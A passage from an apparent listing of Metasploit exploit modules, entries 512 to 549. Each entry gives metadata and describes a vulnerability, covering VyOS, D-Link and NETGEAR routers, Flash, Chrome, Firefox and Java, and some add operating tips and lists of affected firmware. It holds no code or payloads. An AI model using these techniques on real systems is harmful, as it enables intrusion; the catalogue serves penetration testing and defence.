    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2018-11-05

Payload information:

Description:
  This module exploits command injection vulnerabilities and an
insecure
  default sudo configuration on VyOS versions 1.0.0 <= 1.1.8 to
execute
  arbitrary system commands as root.

  VyOS features a `restricted-shell` system shell intended for use by
  low privilege users with operator privileges. This module exploits
  a vulnerability in the `telnet` command to break out of the
restricted
  shell, then uses sudo to exploit a command injection vulnerability
in
  `/opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl` to execute commands
  with root privileges.

  This module has been tested successfully on VyOS 1.1.8 amd64 and
  VyOS 1.0.0 i386.

End Exploit Number 512

Begin Exploit Number 513
       Name: NETGEAR TelnetEnable
     Module: exploit/linux/telnet/netgear_telnetenable
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2009-10-30

Payload information:

Description:
  This module sends a magic packet to a NETGEAR device to enable
telnetd.
  Upon successful connect, a root shell should be presented to the
user.

End Exploit Number 513

Begin Exploit Number 514
       Name: Linux BSD-derived Telnet Service Encryption Key ID Buffer
Overflow
     Module: exploit/linux/telnet/telnet_encrypt_keyid
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2011-12-23

Payload information:
  Space: 200
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in the encryption option
handler of the
  Linux BSD-derived telnet service (inetutils or krb5-telnet). Most
Linux distributions
  use NetKit-derived telnet daemons, so this flaw only applies to a
small subset of
  Linux systems running telnetd.

End Exploit Number 514

Begin Exploit Number 515
       Name: Belkin Wemo UPnP Remote Code Execution
     Module: exploit/linux/upnp/belkin_wemo_upnp_exec
   Platform: Unix, Linux
       Arch: cmd, mipsle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-04-04

Payload information:
```

```
Description:
  This module exploits a command injection in the Belkin Wemo UPnP API 
via
  the SmartDevURL argument to the SetSmartDevInfo action.

  This module has been tested on a Wemo-enabled Crock-Pot, but other 
Wemo
  devices are known to be affected, albeit on a different RPORT 
(49153).

End Exploit Number 515

Begin Exploit Number 516
       Name: D-Link Devices Unauthenticated Remote Command Execution 
in ssdpcgi
     Module: exploit/linux/upnp/dlink_dir859_exec_ssdpcgi
   Platform: Linux
       Arch: mipsbe
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-12-24

Payload information:

Description:
  D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.

End Exploit Number 516

Begin Exploit Number 517
       Name: D-Link DIR-859 Unauthenticated Remote Command Execution
     Module: exploit/linux/upnp/dlink_dir859_subscribe_exec
   Platform: Linux
       Arch: mipsbe
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-12-24

Payload information:

Description:
  D-Link DIR-859 Routers are vulnerable to OS command injection via 
the UPnP
  interface. The vulnerability exists in /gena.cgi (function 
genacgi_main() in
  /htdocs/cgibin), which is accessible without credentials.
```

```
End Exploit Number 517

Begin Exploit Number 518
       Name: D-Link Unauthenticated Remote Command Execution using
UPnP via a special crafted M-SEARCH packet.
     Module: exploit/linux/upnp/dlink_upnp_msearch_exec
   Platform: Unix, Linux
       Arch: cmd, mipsle, mipsbe, armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-02-01

Payload information:

Description:
  A command injection vulnerability exists in multiple D-Link network
products, allowing an attacker
  to inject arbitrary command to the UPnP via a crafted M-SEARCH
packet.
  Universal Plug and Play (UPnP), by default is enabled in most D-Link
devices, on the port 1900.
  An attacker can perform a remote command execution by injecting the
payload into the
  `Search Target` (ST) field of the SSDP M-SEARCH discover packet.
  After successful exploitation, an attacker will have full access
with `root` user privileges.

  NOTE: Staged meterpreter payloads might core dump on the target, so
use stage-less meterpreter payloads
  when using the Linux Dropper target. Some D-Link devices do not have
the `wget` command so
  configure `echo` as flavor with the command set CMDSTAGER::FLAVOR
echo.

  The following D-Link network products and firmware are vulnerable:
  - D-Link Router model GO-RT-AC750 revisions Ax with firmware v1.01
or older;
  - D-Link Router model DIR-300 revisions Ax with firmware v1.06 or
older;
  - D-Link Router model DIR-300 revisions Bx with firmware v2.15 or
older;
  - D-Link Router model DIR-600 revisions Bx with firmware v2.18 or
older;
  - D-Link Router model DIR-645 revisions Ax with firmware v1.05 or
older;
  - D-Link Router model DIR-815 revisions Bx with firmware v1.04 or
older;
  - D-Link Router model DIR-816L revisions Bx with firmware v2.06 or
older;
```

```
  - D-Link Router model DIR-817LW revisions Ax with firmware
v1.04b01_hotfix or older;
  - D-Link Router model DIR-818LW revisions Bx with firmware
v2.05b03_Beta08 or older;
  - D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or
older;
  - D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or
older;
  - D-Link Router model DIR-823 revisions Ax with firmware
v1.00b06_Beta or older;
  - D-Link Router model DIR-845L revisions Ax with firmware v1.02b05
or older;
  - D-Link Router model DIR-860L revisions Ax with firmware v1.12b05
or older;
  - D-Link Router model DIR-859 revisions Ax with firmware
v1.06b01Beta01 or older;
  - D-Link Router model DIR-860L revisions Ax with firmware v1.10b04
or older;
  - D-Link Router model DIR-860L revisions Bx with firmware v2.03b03
or older;
  - D-Link Router model DIR-865L revisions Ax with firmware v1.07b01
or older;
  - D-Link Router model DIR-868L revisions Ax with firmware v1.12b04
or older;
  - D-Link Router model DIR-868L revisions Bx with firmware v2.05b02
or older;
  - D-Link Router model DIR-869 revisions Ax with firmware
v1.03b02Beta02 or older;
  - D-Link Router model DIR-880L revisions Ax with firmware v1.08b04
or older;
  - D-Link Router model DIR-890L/R revisions Ax with firmware
v1.11b01_Beta01 or older;
  - D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05
or older;
  - D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10
or older;
  - probably more looking at the scale of impacted devices :-(

End Exploit Number 518

Begin Exploit Number 519
       Name: MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution
     Module: exploit/linux/upnp/miniupnpd_soap_bof
   Platform: Linux
       Arch: x86, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-03-27
```

```
Payload information:
  Space: 2060
  Avoid: 2 characters

Description:
  This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow
vulnerability
  present in the SOAPAction HTTP header handling.

End Exploit Number 519

Begin Exploit Number 520
       Name: FTP JCL Execution
     Module: exploit/mainframe/ftp/ftp_jcl_creds
   Platform: Mainframe
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-05-12

Payload information:

Description:
  (Submit JCL to z/OS via FTP and SITE FILE=JES.
  This exploit requires valid credentials on the target system)


End Exploit Number 520

Begin Exploit Number 521
       Name: Adobe Flash Player ByteArray Use After Free
     Module: exploit/multi/browser/adobe_flash_hacking_team_uaf
   Platform: Windows, Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-07-06

Payload information:

Description:
  This module exploits an use after free on Adobe Flash Player. The
vulnerability,
  discovered by Hacking Team and made public as part of the July 2015
data leak, was
  described as an Use After Free while handling ByteArray objects.
This module has
  been tested successfully on:
```

```
  Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
  Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
  Windows 8.1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
  Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194, and
  Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash
11.2.202.468.

End Exploit Number 521

Begin Exploit Number 522
       Name: Adobe Flash Player Nellymoser Audio Decoding Buffer
Overflow
     Module: exploit/multi/browser/adobe_flash_nellymoser_bof
   Platform: Windows, Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-06-23

Payload information:

Description:
  This module exploits a buffer overflow on Adobe Flash Player when
handling nellymoser
  encoded audio inside a FLV video, as exploited in the wild on June
2015. This module
  has been tested successfully on:

  Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160,
  Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160,
  Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160,
  Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash
11.2.202.466, and
  Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466.

  Note that this exploit is effective against both CVE-2015-3113 and
the
  earlier CVE-2015-3043, since CVE-2015-3113 is effectively a
regression
  to the same root cause as CVE-2015-3043.

End Exploit Number 522

Begin Exploit Number 523
       Name: Adobe Flash Player NetConnection Type Confusion
     Module: exploit/multi/browser/
adobe_flash_net_connection_confusion
   Platform: Windows, Linux
```

```
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-03-12

Payload information:

Description:
  This module exploits a type confusion vulnerability in the
NetConnection class on
  Adobe Flash Player. When using a correct memory layout this
vulnerability allows
  to corrupt arbitrary memory. It can be used to overwrite dangerous
objects, like
  vectors, and ultimately accomplish remote code execution. This
module has been tested
  successfully on:
  * Windows 7 SP1 (32-bit), IE 8, IE11 and Adobe Flash 16.0.0.305.
  * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 16.0.0.305.
  * Windows 8.1, Firefox 38.0.5 and Adobe Flash 16.0.0.305.
  * Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash
11.2.202.424.
  * Ubuntu 14.04.2 LTS, Firefox 33.0 and Adobe Flash 11.2.202.442.

End Exploit Number 523

Begin Exploit Number 524
       Name: Adobe Flash opaqueBackground Use After Free
     Module: exploit/multi/browser/adobe_flash_opaque_background_uaf
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-07-06

Payload information:

Description:
  This module exploits an use after free on Adobe Flash Player. The
vulnerability,
  discovered by Hacking Team and made public as part of the July 2015
data leak, was
  described as an Use After Free while handling the opaqueBackground
property
  7 setter of the flash.display.DisplayObject class. This module is an
early release
  tested on:
```

```
  Windows XP SP3, IE8 and Flash 18.0.0.194,
  Windows XP SP3, IE 8 and Flash 18.0.0.203,
  Windows XP SP3, Firefox and Flash 18.0.0.203,
  Windows Vista SP2 + IE 9 and Flash 18.0.0.203,
  Windows Vista SP2 + Firefox 39.0 and Flash 18.0.0.203,
  Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.203,
  Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
  Windows 7 SP1 (32-bit), IE9 and Adobe Flash 18.0.0.203,
  Windows 7 SP1 (32-bit), Firefox and Adobe Flash 18.0.0.194,
  Windows 8.1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
  windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.203,
  Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.160 and
  Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194
  Windows 10 Build 10240 (32-bit) IE11, Firefox 39.0 and Adobe Flash
18.0.0.203

End Exploit Number 524

Begin Exploit Number 525
       Name: Adobe Flash Player Shader Buffer Overflow
     Module: exploit/multi/browser/adobe_flash_pixel_bender_bof
   Platform: Windows, Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2014-04-28

Payload information:

Description:
  This module exploits a buffer overflow vulnerability in Adobe Flash
Player. The
  vulnerability occurs in the flash.Display.Shader class, when setting
specially
  crafted data as its bytecode, as exploited in the wild in April
2014. This module
  has been tested successfully on the following operating systems and
Flash versions:

  Windows 7 SP1, IE 8 to IE 11 with Flash 13.0.0.182,
  Windows 7 SP1, Firefox 38.0.5, Flash 11.7.700.275 and Adobe Flash
13.0.0.182,
  Windows 8.1, Firefox 38.0.5 and Adobe Flash 13.0.0.182,
  Linux Mint "Rebecca" (32 bit), Firefox 33.0 and Adobe Flash
11.2.202.350

End Exploit Number 525

Begin Exploit Number 526
```

```
       Name: Adobe Flash Player Drawing Fill Shader Memory Corruption
     Module: exploit/multi/browser/adobe_flash_shader_drawing_fill
   Platform: Windows, Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-05-12

Payload information:

Description:
  This module exploits a memory corruption happening when applying a 
Shader as a drawing fill
  as exploited in the wild on June 2015. This module has been tested 
successfully on:

  Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.188,
  Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.188,
  Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.188, and
  Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 
11.2.202.460.

End Exploit Number 526

Begin Exploit Number 527
       Name: Adobe Flash Player ShaderJob Buffer Overflow
     Module: exploit/multi/browser/adobe_flash_shader_job_overflow
   Platform: Windows, Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-05-12

Payload information:

Description:
  This module exploits a buffer overflow vulnerability related to the 
ShaderJob workings on
  Adobe Flash Player. The vulnerability happens when trying to apply a 
Shader setting up the
  same Bitmap object as src and destination of the ShaderJob. 
Modifying the "width" attribute
  of the ShaderJob after starting the job it's possible to create a 
buffer overflow condition
  where the size of the destination buffer and the length of the copy 
are controlled. This
  module has been tested successfully on:
```

```
  Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.169,
  Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.169,
  Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.169, and
  Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash
11.2.202.457.

End Exploit Number 527

Begin Exploit Number 528
       Name: Adobe Flash Player ByteArray UncompressViaZlibVariant Use
After Free
     Module: exploit/multi/browser/adobe_flash_uncompress_zlib_uaf
   Platform: Windows, Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2014-04-28

Payload information:

Description:
  This module exploits a use after free vulnerability in Adobe Flash
Player. The
  vulnerability occurs in the ByteArray::UncompressViaZlibVariant
method, when trying
  to uncompress() a malformed byte stream. This module has been tested
successfully
  on:
  * Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287,
16.0.0.257 and 16.0.0.235.
  * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 16.0.0.287.
  * Windows 8.1, Firefox 38.0.5 and Adobe Flash 16.0.0.305.
  * Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Flash
11.2.202.424.

End Exploit Number 528

Begin Exploit Number 529
       Name: Google Chrome 72 and 73 Array.map exploit
     Module: exploit/multi/browser/chrome_array_map
   Platform: Windows, OSX
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2019-03-07

Payload information:
```

```
Description:
  This module exploits an issue in Chrome 73.0.3683.86 (64 bit).
  The exploit corrupts the length of a float in order to modify the
backing store
  of a typed array. The typed array can then be used to read and write
arbitrary
  memory. The exploit then uses WebAssembly in order to allocate a
region of RWX
  memory, which is then replaced with the payload.
  The payload is executed within the sandboxed renderer process, so
the browser
  must be run with the --no-sandbox option for the payload to work
correctly.

End Exploit Number 529

Begin Exploit Number 530
       Name: Google Chrome versions before 89.0.4389.128 V8 XOR Typer
Out-Of-Bounds Access RCE
     Module: exploit/multi/browser/
chrome_cve_2021_21220_v8_insufficient_validation
   Platform:
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2021-04-13

Payload information:
  Space: 4096

Description:
  This module exploits an issue in the V8 engine on x86_x64 builds of
Google Chrome before 89.0.4389.128/90.0.4430.72
  when handling XOR operations in JIT'd JavaScript code. Successful
exploitation allows an attacker to execute
  arbitrary code within the context of the V8 process.

  As the V8 process is normally sandboxed in the default configuration
of Google Chrome, the browser must be run with the
  --no-sandbox option for the payload to work correctly.

End Exploit Number 530

Begin Exploit Number 531
       Name: Google Chrome 80 JSCreate side-effect type confusion
exploit
     Module: exploit/multi/browser/chrome_jscreate_sideeffect
   Platform:
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2020-02-19

Payload information:

Description:
  This module exploits an issue in Google Chrome 80.0.3987.87 (64 
bit). The exploit
  corrupts the length of a float array (float_rel), which can then be 
used for out
  of bounds read and write on adjacent memory.
  The relative read and write is then used to modify a UInt64Array 
(uint64_aarw)
  which is used for read and writing from absolute memory.
  The exploit then uses WebAssembly in order to allocate a region of 
RWX memory,
  which is then replaced with the payload shellcode.
  The payload is executed within the sandboxed renderer process, so 
the browser
  must be run with the --no-sandbox option for the payload to work 
correctly.

End Exploit Number 531

Begin Exploit Number 532
       Name: Google Chrome 67, 68 and 69 Object.create exploit
     Module: exploit/multi/browser/chrome_object_create
   Platform: Windows, OSX, Linux, Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2018-09-25

Payload information:

Description:
  This modules exploits a type confusion in Google Chromes JIT 
compiler.
  The Object.create operation can be used to cause a type confusion 
between a
  PropertyArray and a NameDictionary.
  The payload is executed within the rwx region of the sandboxed 
renderer
  process.
  This module can target the renderer process (target 0), but Google
  Chrome must be launched with the --no-sandbox flag for the payload 
to
```

```
  execute successfully.
  Alternatively, this module can use CVE-2019-1458 to escape the
renderer
  sandbox (target 1). This will only work on vulnerable versions of
  Windows (e.g Windows 7) and the exploit can only be triggered once.
  Additionally the exploit can cause the target machine to restart
  when the session is terminated. A BSOD is also likely to occur when
  the system is shut down or rebooted.

End Exploit Number 532

Begin Exploit Number 533
       Name: Google Chrome versions before 87.0.4280.88 integer
overflow during SimplfiedLowering phase
     Module: exploit/multi/browser/chrome_simplifiedlowering_overflow
   Platform: 
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2020-11-19

Payload information:
  Space: 4096

Description:
  This module exploits an issue in Google Chrome versions before
87.0.4280.88 (64 bit).
  The exploit makes use of an integer overflow in the
SimplifiedLowering phase in turbofan.
  It is used along with a type hardening bypass using
ArrayPrototypeShift to create a JSArray with a length of -1.
  This is abused to gain arbitrary read/write into the isolate region.
  Then an ArrayBuffer can be used to achieve absolute arbitrary read/
write.
  The exploit then uses WebAssembly in order to allocate a region of
RWX memory, which is then replaced with the payload shellcode.
  The payload is executed within the sandboxed renderer process, the
browser must be run with the --no-sandbox option for the payload to
work correctly.

End Exploit Number 533

Begin Exploit Number 534
       Name: Firefox 3.5 escape() Return Value Memory Corruption
     Module: exploit/multi/browser/firefox_escape_retval
   Platform: Windows, OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Normal
  Disclosed: 2009-07-13

Payload information:
  Space: 1784
  Avoid: 1 characters

Description:
  This module exploits a memory corruption vulnerability in the
Mozilla
  Firefox browser. This flaw occurs when a bug in the javascript
interpreter
  fails to preserve the return value of the escape() function and
results in
  uninitialized memory being used instead. This module has only been
tested
  on Windows, but should work on other platforms as well with the
current
  targets.

End Exploit Number 534

Begin Exploit Number 535
       Name: Firefox MCallGetProperty Write Side Effects Use After
Free Exploit
     Module: exploit/multi/browser/firefox_jit_use_after_free
   Platform: Linux, Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2020-11-18

Payload information:

Description:
  This modules exploits CVE-2020-26950, a use after free exploit in
Firefox.
  The MCallGetProperty opcode can be emitted with unmet assumptions
resulting
  in an exploitable use-after-free condition.

  This exploit uses a somewhat novel technique of spraying
ArgumentsData
  structures in order to construct primitives. The shellcode is forced
into
  executable memory via the JIT compiler, and executed by writing to
the JIT
  region pointer.
  This exploit does not contain a sandbox escape, so firefox must be
run
  with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in
order
  for the shellcode to run successfully.

  This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1,
and
  Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a
target.
  Additional work may be needed to support other versions such as
Firefox 82.0.1.

End Exploit Number 535

Begin Exploit Number 536
       Name: Firefox PDF.js Privileged Javascript Injection
     Module: exploit/multi/browser/firefox_pdfjs_privilege_escalation
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2015-03-31

Payload information:

Description:
  This module gains remote code execution on Firefox 35-36 by abusing
a
  privilege escalation bug in resource:// URIs. PDF.js is used to
exploit
  the bug. This exploit requires the user to click anywhere on the
page to
  trigger the vulnerability.

End Exploit Number 536

Begin Exploit Number 537
       Name: Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution
     Module: exploit/multi/browser/firefox_proto_crmfrequest
   Platform: Java, Linux, OSX, Solaris, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-08-06

Payload information:
  Avoid: 0 characters
```

```
Description:
  On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger
global, when given
  invalid input, would throw an exception that did not have an
__exposedProps__
  property set. By re-setting this property on the exception object's
prototype,
  the chrome-based defineProperty method is made available.

  With the defineProperty method, functions belonging to window and
document can be
  overridden with a function that gets called from chrome-privileged
context. From here,
  another vulnerability in the crypto.generateCRMFRequest function is
used to "peek"
  into the context's private scope. Since the window does not have a
chrome:// URL,
  the insecure parts of Components.classes are not available, so
instead the AddonManager
  API is invoked to silently install a malicious plugin.

End Exploit Number 537

Begin Exploit Number 538
       Name: Firefox Proxy Prototype Privileged Javascript Injection
     Module: exploit/multi/browser/firefox_proxy_prototype
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2014-01-20

Payload information:

Description:
  This exploit gains remote code execution on Firefox 31-34 by abusing
a bug in the XPConnect
  component and gaining a reference to the privileged chrome://
window. This exploit
  requires the user to click anywhere on the page to trigger the
vulnerability.

End Exploit Number 538

Begin Exploit Number 539
       Name: Firefox location.QueryInterface() Code Execution
     Module: exploit/multi/browser/firefox_queryinterface
   Platform: OSX, Linux
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-02-02

Payload information:
  Space: 2004
  Avoid: 1 characters

Description:
  This module exploits a code execution vulnerability in the Mozilla
  Firefox browser. To reliably exploit this vulnerability, we need to 
fill
  almost a gigabyte of memory with our nop sled and payload. This 
module has
  been tested on OS X 10.3 with the stock Firefox 1.5.0 package.

End Exploit Number 539

Begin Exploit Number 540
       Name: Firefox 17.0.1 Flash Privileged Code Injection
     Module: exploit/multi/browser/firefox_svg_plugin
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-08

Payload information:

Description:
  This exploit gains remote code execution on Firefox 17 and 17.0.1, 
provided
  the user has installed Flash. No memory corruption is used.

  First, a Flash object is cloned into the anonymous content of the 
SVG
  "use" element in the <body> (CVE-2013-0758). From there, the Flash 
object
  can navigate a child frame to a URL in the chrome:// scheme.

  Then a separate exploit (CVE-2013-0757) is used to bypass the 
security wrapper
  around the child frame's window reference and inject code into the 
chrome://
  context. Once we have injection into the chrome execution context, 
we can write
  the payload to disk, chmod it (if posix), and then execute.
  Note: Flash is used here to trigger the exploit but any Firefox
plugin
  with script access should be able to trigger it.

End Exploit Number 540

Begin Exploit Number 541
       Name: Firefox toString console.time Privileged Javascript
Injection
     Module: exploit/multi/browser/firefox_tostring_console_injection
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-05-14

Payload information:

Description:
  This exploit gains remote code execution on Firefox 15-22 by abusing
two separate
  Javascript-related vulnerabilities to ultimately inject malicious
Javascript code
  into a context running with chrome:// privileges.

End Exploit Number 541

Begin Exploit Number 542
       Name: Firefox WebIDL Privileged Javascript Injection
     Module: exploit/multi/browser/firefox_webidl_injection
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-03-17

Payload information:

Description:
  This exploit gains remote code execution on Firefox 22-27 by abusing
two
  separate privilege escalation vulnerabilities in Firefox's
Javascript
  APIs.

End Exploit Number 542
```

```
Begin Exploit Number 543
       Name: Mozilla Firefox Bootstrapped Addon Social Engineering
Code Execution
     Module: exploit/multi/browser/firefox_xpi_bootstrapped_addon
   Platform: Java, Linux, OSX, Solaris, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-06-27

Payload information:
  Avoid: 0 characters

Description:
  Mozilla Firefox before version 41 allowed users to install
  unsigned browser extensions from arbitrary web servers.

  This module dynamically creates an unsigned .xpi addon file.
  The resulting bootstrapped Firefox addon is presented to
  the victim via a web page. The victim's Firefox browser
  will pop a dialog asking if they trust the addon.

  Once the user clicks "install", the addon is installed and
  executes the payload with full user permissions. As of Firefox
  4, this will work without a restart as the addon is marked to
  be "bootstrapped". As the addon will execute the payload after
  each Firefox restart, an option can be given to automatically
  uninstall the addon once the payload has been executed.

  As of Firefox 41, unsigned extensions can still be installed
  on Firefox Nightly, Unbranded and Development builds when
  configured with `xpinstall.signatures.required` set to `false`.

  Note: this module generates legacy extensions which are
  supported only in Firefox before version 57.

End Exploit Number 543

Begin Exploit Number 544
       Name: Apple OS X iTunes 8.1.1 ITMS Overflow
     Module: exploit/multi/browser/itms_overflow
   Platform: OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-06-01

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This modules exploits a stack-based buffer overflow in iTunes
  itms:// URL parsing.  It is accessible from the browser and
  in Safari, itms urls will be opened in iTunes automatically.
  Because iTunes is multithreaded, only vfork-based payloads should
  be used.

End Exploit Number 544

Begin Exploit Number 545
       Name: Java AtomicReferenceArray Type Violation Vulnerability
     Module: exploit/multi/browser/java_atomicreferencearray
   Platform: Java, Linux, OSX, Solaris, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-02-14

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module exploits a vulnerability due to the fact that
  AtomicReferenceArray uses the Unsafe class to store a reference in
an
  array directly, which may violate type safety if not used properly.
  This allows a way to escape the JRE sandbox, and load additional
classes
  in order to perform malicious operations.

End Exploit Number 545

Begin Exploit Number 546
       Name: Sun Java Calendar Deserialization Privilege Escalation
     Module: exploit/multi/browser/java_calendar_deserialize
   Platform: Linux, OSX, Solaris, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-12-03

Payload information:
  Space: 20480
  Avoid: 0 characters
```

```
Description:
  This module exploits a flaw in the deserialization of Calendar
objects in the Sun JVM.

  The payload can be either a native payload which is generated as an
executable and
  dropped/executed on the target or a shell from within the Java
applet in the target browser.

  The affected Java versions are JDK and JRE 6 Update 10 and earlier,
JDK and JRE 5.0 Update 16
  and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are
not affected).

End Exploit Number 546

Begin Exploit Number 547
       Name: Sun Java JRE getSoundbank file:// URI Buffer Overflow
     Module: exploit/multi/browser/java_getsoundbank_bof
   Platform: Windows, OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-11-04

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a flaw in the getSoundbank function in the Sun
JVM.

  The payload is serialized and passed to the applet via PARAM tags.
It must be
  a native payload.

  The effected Java versions are JDK and JRE 6 Update 16 and earlier,
  JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and
  earlier, and SDK and JRE 1.3.1_26 and earlier.

  NOTE: Although all of the above versions are reportedly vulnerable,
only
  1.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.

End Exploit Number 547

Begin Exploit Number 548
```

```
       Name: Java Applet Driver Manager Privileged toString() Remote
Code Execution
     Module: exploit/multi/browser/java_jre17_driver_manager
   Platform: Java, Linux, OSX, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-10

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module abuses the java.sql.DriverManager class where the
toString() method
  is called over user supplied classes from a doPrivileged block. The
vulnerability
  affects Java version 7u17 and earlier. This exploit bypasses click-
to-play on Internet Explorer
  and throws a specially crafted JNLP file. This bypass is applicable
mainly to IE, where Java
  Web Start can be launched automatically through the ActiveX control.
Otherwise, the
  applet is launched without click-to-play bypass.

End Exploit Number 548

Begin Exploit Number 549
       Name: Java 7 Applet Remote Code Execution
     Module: exploit/multi/browser/java_jre17_exec
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-26

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  The exploit takes advantage of two issues in JDK 7: The ClassFinder
and
  MethodFinder.findMethod().  Both were newly introduced in JDK 7.
ClassFinder is a
